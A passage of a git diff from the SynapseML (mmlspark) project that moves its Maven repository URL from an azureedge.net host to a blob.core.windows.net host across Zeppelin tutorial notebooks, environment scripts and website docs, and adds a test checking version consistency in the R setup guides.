pyspark.ml.classification import LogisticRegression\n\n# Prepare data for learning\ntrain, test, validation = processedData.randomSplit([0.60, 0.20, 0.20], seed=123)\n\n# Train the models on the 'train' data\nlrHyperParams = [0.05, 0.1, 0.2, 0.4]\nlogisticRegressions = [LogisticRegression(regParam = hyperParam)\n for hyperParam in lrHyperParams]\nevaluator = BinaryClassificationEvaluator(rawPredictionCol=\"rawPrediction\",\n metricName=\"areaUnderROC\")\nmetrics = []\nmodels = []\n\n# Select the best model\nfor learner in logisticRegressions:\n model = learner.fit(train)\n models.append(model)\n scoredData = model.transform(test)\n metrics.append(evaluator.evaluate(scoredData))\nbestMetric = max(metrics)\nbestModel = models[metrics.index(bestMetric)]\n\n# Save model\nbestModel.write().overwrite().save(\"SparkMLExperiment.mmls\")\n# Get AUC on the validation dataset\nscoredVal = bestModel.transform(validation)\nprint(evaluator.evaluate(scoredVal))","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561136914_-1460942872","id":"paragraph_1549561136914_-1460942872","dateCreated":"2019-02-07T17:39:01+0000","status":"READY","focus":true,"$$hashKey":"object:7994","runtimeInfos":{}},{"text":"%md\n### 4b. Classify using mmlspark\n\nLife is a lot simpler when using `mmlspark`!\n\n1. The **`TrainClassifier`** Estimator featurizes the data internally,\n as long as the columns selected in the `train`, `test`, `validation`\n dataset represent the features\n\n2. The **`FindBestModel`** Estimator find the best model from a pool of\n trained models by find the model which performs best on the `test`\n dataset given the specified metric\n\n3. The **`CompueModelStatistics`** Transformer computes the different\n metrics on a scored dataset (in our case, the `validation` dataset)\n at the same time","user":"anonymous","config":{"tableHide":false,"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"editorHide":true,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561151031_-669643989","id":"paragraph_1549561151031_-669643989","dateCreated":"2019-02-07T17:39:16+0000","status":"FINISHED","focus":true,"$$hashKey":"object:8066","results":{"code":"SUCCESS","msg":[{"type":"HTML","data":"
\n

4b. Classify using mmlspark

\n

Life is a lot simpler when using mmlspark!

\n
    \n
  1. \n

    The TrainClassifier Estimator featurizes the data internally,
    as long as the columns selected in the train, test, validation
    dataset represent the features

  2. \n
  3. \n

    The FindBestModel Estimator find the best model from a pool of
    trained models by find the model which performs best on the test
    dataset given the specified metric

  4. \n
  5. \n

    The CompueModelStatistics Transformer computes the different
    metrics on a scored dataset (in our case, the validation dataset)
    at the same time

  6. \n
\n
"}]},"runtimeInfos":{}},{"text":"%pyspark\nfrom mmlspark import TrainClassifier, FindBestModel, ComputeModelStatistics\n\n# Prepare data for learning\ntrain, test, validation = data.randomSplit([0.60, 0.20, 0.20], seed=123)\n\n# Train the models on the 'train' data\nlrHyperParams = [0.05, 0.1, 0.2, 0.4]\nlogisticRegressions = [LogisticRegression(regParam = hyperParam)\n for hyperParam in lrHyperParams]\nlrmodels = [TrainClassifier(model=lrm, labelCol=\"label\", numFeatures=10000).fit(train)\n for lrm in logisticRegressions]\n\n# Select the best model\nbestModel = FindBestModel(evaluationMetric=\"AUC\", models=lrmodels).fit(test)\n\n# Save model\nbestModel.write().overwrite().save(\"MMLSExperiment.mmls\")\n# Get AUC on the validation dataset\npredictions = bestModel.transform(validation)\nmetrics = ComputeModelStatistics().transform(predictions)\nprint(\"Best model's AUC on validation set = \"\n + \"{0:.2f}%\".format(metrics.first()[\"AUC\"] * 100))","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561156327_905971663","id":"paragraph_1549561156327_905971663","dateCreated":"2019-02-07T17:39:36+0000","status":"READY","focus":true,"$$hashKey":"object:8144","runtimeInfos":{}}],"name":"simplification_mmlspark","id":"2E3XBY5JN","defaultInterpreterGroup":"spark","noteParams":{},"noteForms":{},"angularObjects":{},"config":{"isZeppelinNotebookCronEnable":false,"looknfeel":"default","personalizedMode":"false"},"info":{}} +{"paragraphs":[{"user":"anonymous","config":{"editorSetting":{"language":"scala","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/scala","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560881266_-1396707350","id":"paragraph_1549560881266_-1396707350","dateCreated":"2019-02-07T17:35:07+0000","status":"READY","focus":true,"$$hashKey":"object:7074","text":"%spark.dep\n// include the azure mmlspark dependency\nz.reset()\nz.load(\"Azure:mmlspark:0.15\")\nz.load(\"org.apache.hadoop:hadoop-azure:2.7.0\")\nz.load(\"com.microsoft.azure:azure-storage:8.0.0\")","runtimeInfos":{}},{"text":"%md\r\n## 103 - Simplifying Machine Learning Pipelines with `mmlspark`\r\n\r\n### 1. Introduction\r\n\r\n


\r\n\r\nIn this tutorial, we perform the same classification task in two different ways: once using plain **`pyspark`** and once using the **`mmlspark`** library. The two methods yield the same performance, but one of the two libraries is drastically simpler to use and iterate on (can you guess which one?).\r\n\r\nThe task is simple: Predict whether a user's review of a book sold on Amazon is good (rating > 3) or bad based on the text of the review. We accomplish this by training LogisticRegression learners with different hyperparameters and choosing the best model.","user":"anonymous","config":{"tableHide":false,"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"editorHide":true,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560907558_-1510106009","id":"paragraph_1549560907558_-1510106009","dateCreated":"2019-02-07T17:35:52+0000","status":"FINISHED","focus":true,"$$hashKey":"object:7270","results":{"code":"SUCCESS","msg":[{"type":"HTML","data":"
\n

103 - Simplifying Machine Learning Pipelines with mmlspark

\n

1. Introduction

\n


\n

In this tutorial, we perform the same classification task in two different ways: once using plain pyspark and once using the mmlspark library. The two methods yield the same performance, but one of the two libraries is drastically simpler to use and iterate on (can you guess which one?).

\n

The task is simple: Predict whether a user’s review of a book sold on Amazon is good (rating > 3) or bad based on the text of the review. We accomplish this by training LogisticRegression learners with different hyperparameters and choosing the best model.

\n
"}]},"runtimeInfos":{}},{"text":"%md\r\n### 2. Read the data\r\n\r\nWe download and read in the data. We show a sample below:","user":"anonymous","config":{"tableHide":false,"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"editorHide":true,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560950666_-2091601662","id":"paragraph_1549560950666_-2091601662","dateCreated":"2019-02-07T17:36:11+0000","status":"FINISHED","focus":true,"$$hashKey":"object:7361","results":{"code":"SUCCESS","msg":[{"type":"HTML","data":"
\n

2. Read the data

\n

We download and read in the data. We show a sample below:

\n
"}]},"runtimeInfos":{}},{"text":"%pyspark\n# Zeppelin needs the path to be update manually to find mmlspark library\nimport sys\nsys.path.extend(sc.getConf().get(\"spark.jars\").split(\",\"))\n\nimport pandas as pd\nimport mmlspark\nfrom pyspark.sql.types import IntegerType, StringType, StructType, StructField\n\ndataFilePath = \"BookReviewsFromAmazon10K.tsv\"\ntextSchema = StructType([StructField(\"rating\", IntegerType(), False),\n StructField(\"text\", StringType(), False)])\nimport os, urllib\nif not os.path.isfile(dataFilePath):\n urllib.urlretrieve(\"https://mmlspark.blob.core.windows.net/datasets/\" + dataFilePath, dataFilePath)\nrawData = spark.createDataFrame(pd.read_csv(dataFilePath, sep=\"\\t\", header=None), textSchema)\nrawData.show(5)\n","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560971147_-312816441","id":"paragraph_1549560971147_-312816441","dateCreated":"2019-02-07T17:36:26+0000","status":"READY","focus":true,"$$hashKey":"object:7460","runtimeInfos":{}},{"text":"%md\n### 3. Extract more features and process data\n\nReal data however is more complex than the above dataset. It is common for a dataset to have features of multiple types: text, numeric, categorical. To illustrate how difficult it is to work with these datasets, we add two numerical features to the dataset: the **word count** of the review and the **mean word length**.","user":"anonymous","config":{"tableHide":false,"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"editorHide":true,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561045867_-2023351219","id":"paragraph_1549561045867_-2023351219","dateCreated":"2019-02-07T17:37:29+0000","status":"FINISHED","focus":true,"$$hashKey":"object:7616","results":{"code":"SUCCESS","msg":[{"type":"HTML","data":"
\n

3. Extract more features and process data

\n

Real data however is more complex than the above dataset. It is common for a dataset to have features of multiple types: text, numeric, categorical. To illustrate how difficult it is to work with these datasets, we add two numerical features to the dataset: the word count of the review and the mean word length.

\n
"}]},"runtimeInfos":{}},{"text":"%pyspark\nfrom pyspark.sql.functions import udf\nfrom pyspark.sql.types import LongType, FloatType, DoubleType\ndef wordCount(s):\n return len(s.split())\ndef wordLength(s):\n import numpy as np\n ss = [len(w) for w in s.split()]\n return round(float(np.mean(ss)), 2)\nwordLengthUDF = udf(wordLength, DoubleType())\nwordCountUDF = udf(wordCount, IntegerType())","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549560986476_-857211016","id":"paragraph_1549560986476_-857211016","dateCreated":"2019-02-07T17:37:10+0000","status":"READY","focus":true,"$$hashKey":"object:7544","runtimeInfos":{}},{"text":"%pyspark\nfrom mmlspark import UDFTransformer\nwordLength = \"wordLength\"\nwordCount = \"wordCount\"\nwordLengthTransformer = UDFTransformer(inputCol=\"text\", outputCol=wordLength, udf=wordLengthUDF)\nwordCountTransformer = UDFTransformer(inputCol=\"text\", outputCol=wordCount, udf=wordCountUDF)","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561076902_257402397","id":"paragraph_1549561076902_257402397","dateCreated":"2019-02-07T17:38:04+0000","status":"READY","focus":true,"$$hashKey":"object:7706","runtimeInfos":{}},{"text":"%pyspark\nfrom pyspark.ml import Pipeline\ndata = Pipeline(stages=[wordLengthTransformer, wordCountTransformer]) \\\n .fit(rawData).transform(rawData) \\\n .withColumn(\"label\", rawData[\"rating\"] > 3).drop(\"rating\")","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561091918_-2108761101","id":"paragraph_1549561091918_-2108761101","dateCreated":"2019-02-07T17:38:16+0000","status":"READY","focus":true,"$$hashKey":"object:7778","runtimeInfos":{}},{"text":"%md\n### 4a. Classify using pyspark\n\nTo choose the best LogisticRegression classifier using the `pyspark` library, need to *explictly* perform the following steps:\n\n1. Process the features:\n * Tokenize the text column\n * Hash the tokenized column into a vector using hashing\n * Merge the numeric features with the vector in the step above\n2. Process the label column: cast it into the proper type.\n3. Train multiple LogisticRegression algorithms on the `train` dataset with different hyperparameters\n4. Compute the area under the ROC curve for each of the trained models and select the model with the highest metric as computed on the `test` dataset\n5. Evaluate the best model on the `validation` set\n\nAs you can see below, there is a lot of work involved and a lot of steps where something can go wrong!","user":"anonymous","config":{"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561105519_758143693","id":"paragraph_1549561105519_758143693","dateCreated":"2019-02-07T17:38:35+0000","status":"READY","focus":true,"$$hashKey":"object:7850","runtimeInfos":{}},{"text":"%pyspark\nfrom pyspark.ml.feature import Tokenizer, HashingTF\nfrom pyspark.ml.feature import VectorAssembler\n\n# Featurize text column\ntokenizer = Tokenizer(inputCol=\"text\", outputCol=\"tokenizedText\")\nnumFeatures = 10000\nhashingScheme = HashingTF(inputCol=\"tokenizedText\",\n outputCol=\"TextFeatures\",\n numFeatures=numFeatures)\ntokenizedData = tokenizer.transform(data)\nfeaturizedData = hashingScheme.transform(tokenizedData)\n\n# Merge text and numeric features in one feature column\nfeatureColumnsArray = [\"TextFeatures\", \"wordCount\", \"wordLength\"]\nassembler = VectorAssembler(\n inputCols = featureColumnsArray,\n outputCol=\"features\")\nassembledData = assembler.transform(featurizedData)\n\n# Select only columns of interest\n# Convert rating column from boolean to int\nprocessedData = assembledData \\\n .select(\"label\", \"features\") \\\n .withColumn(\"label\", assembledData.label.cast(IntegerType()))\n","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561123327_369147431","id":"paragraph_1549561123327_369147431","dateCreated":"2019-02-07T17:38:50+0000","status":"READY","focus":true,"$$hashKey":"object:7922","runtimeInfos":{}},{"text":"%pyspark\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator\nfrom pyspark.ml.classification import LogisticRegression\n\n# Prepare data for learning\ntrain, test, validation = processedData.randomSplit([0.60, 0.20, 0.20], seed=123)\n\n# Train the models on the 'train' data\nlrHyperParams = [0.05, 0.1, 0.2, 0.4]\nlogisticRegressions = [LogisticRegression(regParam = hyperParam)\n for hyperParam in lrHyperParams]\nevaluator = BinaryClassificationEvaluator(rawPredictionCol=\"rawPrediction\",\n metricName=\"areaUnderROC\")\nmetrics = []\nmodels = []\n\n# Select the best model\nfor learner in logisticRegressions:\n model = learner.fit(train)\n models.append(model)\n scoredData = model.transform(test)\n metrics.append(evaluator.evaluate(scoredData))\nbestMetric = max(metrics)\nbestModel = models[metrics.index(bestMetric)]\n\n# Save model\nbestModel.write().overwrite().save(\"SparkMLExperiment.mmls\")\n# Get AUC on the validation dataset\nscoredVal = bestModel.transform(validation)\nprint(evaluator.evaluate(scoredVal))","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561136914_-1460942872","id":"paragraph_1549561136914_-1460942872","dateCreated":"2019-02-07T17:39:01+0000","status":"READY","focus":true,"$$hashKey":"object:7994","runtimeInfos":{}},{"text":"%md\n### 4b. Classify using mmlspark\n\nLife is a lot simpler when using `mmlspark`!\n\n1. The **`TrainClassifier`** Estimator featurizes the data internally,\n as long as the columns selected in the `train`, `test`, `validation`\n dataset represent the features\n\n2. The **`FindBestModel`** Estimator find the best model from a pool of\n trained models by find the model which performs best on the `test`\n dataset given the specified metric\n\n3. The **`CompueModelStatistics`** Transformer computes the different\n metrics on a scored dataset (in our case, the `validation` dataset)\n at the same time","user":"anonymous","config":{"tableHide":false,"editorSetting":{"language":"markdown","editOnDblClick":true,"completionKey":"TAB","completionSupport":false},"colWidth":12,"editorMode":"ace/mode/markdown","fontSize":9,"editorHide":true,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561151031_-669643989","id":"paragraph_1549561151031_-669643989","dateCreated":"2019-02-07T17:39:16+0000","status":"FINISHED","focus":true,"$$hashKey":"object:8066","results":{"code":"SUCCESS","msg":[{"type":"HTML","data":"
\n

4b. Classify using mmlspark

\n

Life is a lot simpler when using mmlspark!

\n
    \n
  1. \n

    The TrainClassifier Estimator featurizes the data internally,
    as long as the columns selected in the train, test, validation
    dataset represent the features

  2. \n
  3. \n

    The FindBestModel Estimator find the best model from a pool of
    trained models by find the model which performs best on the test
    dataset given the specified metric

  4. \n
  5. \n

    The CompueModelStatistics Transformer computes the different
    metrics on a scored dataset (in our case, the validation dataset)
    at the same time

  6. \n
\n
"}]},"runtimeInfos":{}},{"text":"%pyspark\nfrom mmlspark import TrainClassifier, FindBestModel, ComputeModelStatistics\n\n# Prepare data for learning\ntrain, test, validation = data.randomSplit([0.60, 0.20, 0.20], seed=123)\n\n# Train the models on the 'train' data\nlrHyperParams = [0.05, 0.1, 0.2, 0.4]\nlogisticRegressions = [LogisticRegression(regParam = hyperParam)\n for hyperParam in lrHyperParams]\nlrmodels = [TrainClassifier(model=lrm, labelCol=\"label\", numFeatures=10000).fit(train)\n for lrm in logisticRegressions]\n\n# Select the best model\nbestModel = FindBestModel(evaluationMetric=\"AUC\", models=lrmodels).fit(test)\n\n# Save model\nbestModel.write().overwrite().save(\"MMLSExperiment.mmls\")\n# Get AUC on the validation dataset\npredictions = bestModel.transform(validation)\nmetrics = ComputeModelStatistics().transform(predictions)\nprint(\"Best model's AUC on validation set = \"\n + \"{0:.2f}%\".format(metrics.first()[\"AUC\"] * 100))","user":"anonymous","config":{"editorSetting":{"language":"python","editOnDblClick":false,"completionKey":"TAB","completionSupport":true},"colWidth":12,"editorMode":"ace/mode/python","fontSize":9,"results":{},"enabled":true},"settings":{"params":{},"forms":{}},"apps":[],"progressUpdateIntervalMs":500,"jobName":"paragraph_1549561156327_905971663","id":"paragraph_1549561156327_905971663","dateCreated":"2019-02-07T17:39:36+0000","status":"READY","focus":true,"$$hashKey":"object:8144","runtimeInfos":{}}],"name":"simplification_mmlspark","id":"2E3XBY5JN","defaultInterpreterGroup":"spark","noteParams":{},"noteForms":{},"angularObjects":{},"config":{"isZeppelinNotebookCronEnable":false,"looknfeel":"default","personalizedMode":"false"},"info":{}} diff --git a/tools/helm/zeppelin/mmlsparkExamples/submitjob_2DZ7DHX6E.zpln b/tools/helm/zeppelin/mmlsparkExamples/submitjob_2DZ7DHX6E.zpln index ebaa53aadf4..9a00bfcad90 100644 --- a/tools/helm/zeppelin/mmlsparkExamples/submitjob_2DZ7DHX6E.zpln +++ b/tools/helm/zeppelin/mmlsparkExamples/submitjob_2DZ7DHX6E.zpln @@ -1,7 +1,7 @@ { "paragraphs": [ { - "text": "%md\nContents of /zeppelin/notebook/mmlspark/serving.py\n```\nimport mmlspark\nfrom pyspark.sql.types import *\nfrom pyspark.sql import SparkSession\n\nfrom pyspark.sql.functions import length, col\n\nspark = SparkSession.builder.appName(\"SimpleContServing\").getOrCreate()\nsc = spark.sparkContext\nsc.setLogLevel(\"WARN\")\n\nprint(\"creating df\")\ndf = spark.readStream.continuousServer() \\\n .address(\"0.0.0.0\", 8888, \"my_api\") \\\n .load() \\\n .parseRequest(StructType().add(\"foo\", StringType()).add(\"bar\", IntegerType()))\n\nreplies = df.withColumn(\"fooLength\", length(col(\"foo\")))\\\n .makeReply(\"fooLength\")\n\nprint(\"creating server\")\nserver = replies\\\n .writeStream \\\n .continuousServer() \\\n .trigger(continuous=\"1 second\") \\\n .replyTo(\"my_api\") \\\n .queryName(\"my_query\") \\\n .option(\"checkpointLocation\", \"file:///tmp/checkpoints\")\n\nprint(\"starting server\")\nquery = server.start()\nquery.awaitTermination()\n\n# Submit the server\n# .\\bin\\spark-submit --packages com.microsoft.ml.spark:mmlspark_2.11:0.14.dev42 --repositories https://mmlspark.azureedge.net/maven serving2.py\n\n# Test \n# curl -X POST -d '{\"foo\":\"foolen\", \"bar\":43}' -H \"ContentType: application/json\" http://[[ip address of load balancer]]:8888/\n```", + "text": "%md\nContents of /zeppelin/notebook/mmlspark/serving.py\n```\nimport mmlspark\nfrom pyspark.sql.types import *\nfrom pyspark.sql import SparkSession\n\nfrom pyspark.sql.functions import length, col\n\nspark = SparkSession.builder.appName(\"SimpleContServing\").getOrCreate()\nsc = spark.sparkContext\nsc.setLogLevel(\"WARN\")\n\nprint(\"creating df\")\ndf = spark.readStream.continuousServer() \\\n .address(\"0.0.0.0\", 8888, \"my_api\") \\\n .load() \\\n .parseRequest(StructType().add(\"foo\", StringType()).add(\"bar\", IntegerType()))\n\nreplies = df.withColumn(\"fooLength\", length(col(\"foo\")))\\\n .makeReply(\"fooLength\")\n\nprint(\"creating server\")\nserver = replies\\\n .writeStream \\\n .continuousServer() \\\n .trigger(continuous=\"1 second\") \\\n .replyTo(\"my_api\") \\\n .queryName(\"my_query\") \\\n .option(\"checkpointLocation\", \"file:///tmp/checkpoints\")\n\nprint(\"starting server\")\nquery = server.start()\nquery.awaitTermination()\n\n# Submit the server\n# .\\bin\\spark-submit --packages com.microsoft.ml.spark:mmlspark_2.11:0.14.dev42 --repositories https://mmlspark.blob.core.windows.net/maven serving2.py\n\n# Test \n# curl -X POST -d '{\"foo\":\"foolen\", \"bar\":43}' -H \"ContentType: application/json\" http://[[ip address of load balancer]]:8888/\n```", "user": "anonymous", "config": { "tableHide": false, @@ -26,7 +26,7 @@ "msg": [ { "type": "HTML", - "data": "
\n

Contents of /zeppelin/notebook/mmlspark/serving.py

\n
import mmlspark\nfrom pyspark.sql.types import *\nfrom pyspark.sql import SparkSession\n\nfrom pyspark.sql.functions import length, col\n\nspark = SparkSession.builder.appName("SimpleContServing").getOrCreate()\nsc = spark.sparkContext\nsc.setLogLevel("WARN")\n\nprint("creating df")\ndf = spark.readStream.continuousServer() \\\n    .address("0.0.0.0", 8888, "my_api") \\\n    .load() \\\n    .parseRequest(StructType().add("foo", StringType()).add("bar", IntegerType()))\n\nreplies = df.withColumn("fooLength", length(col("foo")))\\\n    .makeReply("fooLength")\n\nprint("creating server")\nserver = replies\\\n    .writeStream \\\n    .continuousServer() \\\n    .trigger(continuous="1 second") \\\n    .replyTo("my_api") \\\n    .queryName("my_query") \\\n    .option("checkpointLocation", "file:///tmp/checkpoints")\n\nprint("starting server")\nquery = server.start()\nquery.awaitTermination()\n\n# Submit the server\n# .\\bin\\spark-submit --packages com.microsoft.ml.spark:mmlspark_2.11:0.14.dev42 --repositories https://mmlspark.azureedge.net/maven  serving2.py\n\n# Test \n# curl -X POST -d '{"foo":"foolen", "bar":43}' -H "ContentType: application/json" http://[[ip address of load balancer]]:8888/\n
\n
" + "data": "
\n

Contents of /zeppelin/notebook/mmlspark/serving.py

\n
import mmlspark\nfrom pyspark.sql.types import *\nfrom pyspark.sql import SparkSession\n\nfrom pyspark.sql.functions import length, col\n\nspark = SparkSession.builder.appName("SimpleContServing").getOrCreate()\nsc = spark.sparkContext\nsc.setLogLevel("WARN")\n\nprint("creating df")\ndf = spark.readStream.continuousServer() \\\n    .address("0.0.0.0", 8888, "my_api") \\\n    .load() \\\n    .parseRequest(StructType().add("foo", StringType()).add("bar", IntegerType()))\n\nreplies = df.withColumn("fooLength", length(col("foo")))\\\n    .makeReply("fooLength")\n\nprint("creating server")\nserver = replies\\\n    .writeStream \\\n    .continuousServer() \\\n    .trigger(continuous="1 second") \\\n    .replyTo("my_api") \\\n    .queryName("my_query") \\\n    .option("checkpointLocation", "file:///tmp/checkpoints")\n\nprint("starting server")\nquery = server.start()\nquery.awaitTermination()\n\n# Submit the server\n# .\\bin\\spark-submit --packages com.microsoft.ml.spark:mmlspark_2.11:0.14.dev42 --repositories https://mmlspark.blob.core.windows.net/maven  serving2.py\n\n# Test \n# curl -X POST -d '{"foo":"foolen", "bar":43}' -H "ContentType: application/json" http://[[ip address of load balancer]]:8888/\n
\n
" } ] }, diff --git a/tools/helm/zeppelin/zeppelin-env.sh b/tools/helm/zeppelin/zeppelin-env.sh index 63f4a928a52..d455f23903d 100644 --- a/tools/helm/zeppelin/zeppelin-env.sh +++ b/tools/helm/zeppelin/zeppelin-env.sh @@ -71,7 +71,7 @@ export MASTER="${SPARK_MASTER:=local[*]}" ## defining SPARK_HOME makes Zeppelin run spark interpreter process using spark-submit ## export SPARK_HOME=/opt/spark/ # (required) When it is defined, load it instead of Zeppelin embedded Spark libraries -# export SPARK_SUBMIT_OPTIONS="--packages com.microsoft.ml.spark:mmlspark_2.11:0.14.dev42 --repositories https://mmlspark.azureedge.net/maven" # (optional) extra options to pass to spark submit. eg) "--driver-memory 512M --executor-memory 1G". +# export SPARK_SUBMIT_OPTIONS="--packages com.microsoft.ml.spark:mmlspark_2.11:0.14.dev42 --repositories https://mmlspark.blob.core.windows.net/maven" # (optional) extra options to pass to spark submit. eg) "--driver-memory 512M --executor-memory 1G". # export SPARK_APP_NAME # (optional) The name of spark application. ## Use embedded spark binaries ## diff --git a/website/doctest.py b/website/doctest.py index 7a704e4641c..1477af5cb88 100644 --- a/website/doctest.py +++ b/website/doctest.py @@ -23,7 +23,7 @@ def add_python_helper_to_markdown(folder, md, version): spark = (pyspark.sql.SparkSession.builder.appName("MyApp") .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:{}") - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") .getOrCreate()) def getSecret(secretName): diff --git a/website/src/pages/index.js b/website/src/pages/index.js index 34088391cd0..f4b6b3053bf 100644 --- a/website/src/pages/index.js +++ b/website/src/pages/index.js @@ -269,7 +269,7 @@ function Home() { "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.1.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -284,7 +284,7 @@ function Home() { "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.15", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -301,7 +301,7 @@ function Home() { "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:[THE_SYNAPSEML_VERSION_YOU_WANT]", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -314,7 +314,7 @@ function Home() { SynapseML can be conveniently installed on existing Spark clusters via the --packages option, examples: with the resolver: Ensure this library is attached to your target cluster(s). @@ -405,8 +405,8 @@ spark-submit --packages com.microsoft.azure:synapseml_2.12:1.1.3 MyApp.jar `} diff --git a/website/test/rSetupDocs.test.js b/website/test/rSetupDocs.test.js new file mode 100644 index 00000000000..d84b1aeb105 --- /dev/null +++ b/website/test/rSetupDocs.test.js @@ -0,0 +1,68 @@ +const assert = require('node:assert/strict'); +const fs = require('node:fs'); +const path = require('node:path'); +const test = require('node:test'); + +const repoRoot = path.resolve(__dirname, '..', '..'); +const componentNames = [ + 'core', + 'cognitive', + 'deep-learning', + 'lightgbm', + 'opencv', + 'vw', +]; + +function rSetupGuides() { + const guides = [path.join(repoRoot, 'docs', 'Reference', 'R Setup.md')]; + const versionsRoot = path.join(repoRoot, 'website', 'versioned_docs'); + + for (const directory of fs.readdirSync(versionsRoot)) { + if (directory.startsWith('version-')) { + guides.push(path.join(versionsRoot, directory, 'Reference', 'R Setup.md')); + } + } + + return guides; +} + +for (const guide of rSetupGuides()) { + test(`R archive and resolver versions agree in ${path.relative(repoRoot, guide)}`, () => { + const markdown = fs.readFileSync(guide, 'utf8'); + const coordinateVersions = [ + ...markdown.matchAll(/com\.microsoft\.azure:synapseml_2\.12:([0-9.]+)/g), + ].map((match) => match[1]); + const uniqueVersions = [...new Set(coordinateVersions)]; + + assert.equal(uniqueVersions.length, 1, 'expected one Maven coordinate version'); + const [version] = uniqueVersions; + const versionDirectory = guide.match(/version-([0-9.]+)[\\/]Reference/); + if (versionDirectory) { + assert.equal(version, versionDirectory[1]); + } + + const escapedVersion = version.replaceAll('.', '\\.'); + for (const component of componentNames) { + assert.match( + markdown, + new RegExp( + 